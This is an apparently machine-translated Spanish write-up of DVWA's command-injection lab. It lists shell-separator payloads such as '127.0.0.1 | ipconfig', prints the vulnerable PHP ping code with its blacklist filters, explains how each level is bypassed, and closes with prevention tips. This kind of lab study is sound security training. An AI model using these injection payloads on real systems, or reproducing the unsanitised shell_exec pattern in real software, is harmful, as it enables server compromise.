Inyección de comandos de la serie DVWA
: Inyección de
comandos, que destruye la estructura de la instrucción de comandos mediante el envío de parámetros construidos con fines malintencionados para lograr el propósito de ejecutar comandos maliciosos. Por
ejemplo, para eliminar archivos, puede utilizar una solicitud de URL
http://127.0.0.1/delete.php?filename=bob.txt;id
el contenido de delete.php
<?php
$file=$_GET['filename']
system("rm $file");
?>
(Basado en el sistema Linux) Esto puede lograr el propósito de eliminar maliciosamente el archivo bob.txt y usarlo al mismo tiempo; el separador también se puede usar para generar el comando id al mismo tiempo.
Ahora use NVWA para el combate real.
Abra el nivel bajo e
ingrese 127.0.0.1 && ipconfig
la IP que estamos ingresando Agregue un separador && después de la dirección para devolver el contenido de retorno del comando ipconfig, es decir, después de ejecutar el ping 127.0.0.1, ejecutó los siguientes comandos: A
continuación se muestran algunas inyecciones de uso común.
127.0.0.1 || ipconfig
127.0.0.1 & ipconfig
127.0.0.1 && ipconfig
127.0.0.1 | ipconfig
127.0.0.1 |ipconfig
127.0.0.1 ; ipconfig
Adecuado para sistemas Windows y Linux,
ahora veamos el código fuente
bajo
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
Es posible un nivel bajo sin ninguna inyección por encima de guolv (';' no es aplicable para las ventanas del sistema Linux)
Veamos el análisis del código fuente medio
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
entre ellos
$substitutions = array(
'&&' => '',
';' => '',
Si la lista negra está configurada, && se asignará como vacía, por supuesto, podemos omitirla.
Use una inyección común para omitir lo anterior. Por ejemplo,
utilizo 127.0.0.1 | ipconfig
para omitir ping y ejecutar el comando malicioso ipconfig
high. El
mismo código fuente de análisis
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
Aquí hay más listas negras. La misma forma de omitir la inyección manual es demasiado problemática. Preparamos directamente
el diccionario con brupsuite .
Simplemente ingrese 127.0.0.1 para abrir el proxy brupsuite e interceptar el
paquete capturado y enviarlo al intruso
para borrar otros objetivos. Seleccione la ip add para agregar la
selección. El diccionario preparado acaba de empezar a atacar.
Puedes ver el efecto de retorno en Render. Se puede ver que en el nivel alto, solo 127.0.0.1 |ipconfig
se puede omitir la lista negra (ten en cuenta que no hay espacio después del "|")
nivel imposible
Observe y analice el código fuente
.
Este código restringe la entrada a números puros
y no se puede inyectar.
Resumen:
método de prevención
1 Establecer lista negra
2 Reemplazo, palabra clave de escape
3 Para direcciones IP, los números se pueden dividir en matrices con '.' Como límite Determine si es un número para asegurarse de que no haya conector en la entrada para evitar inyección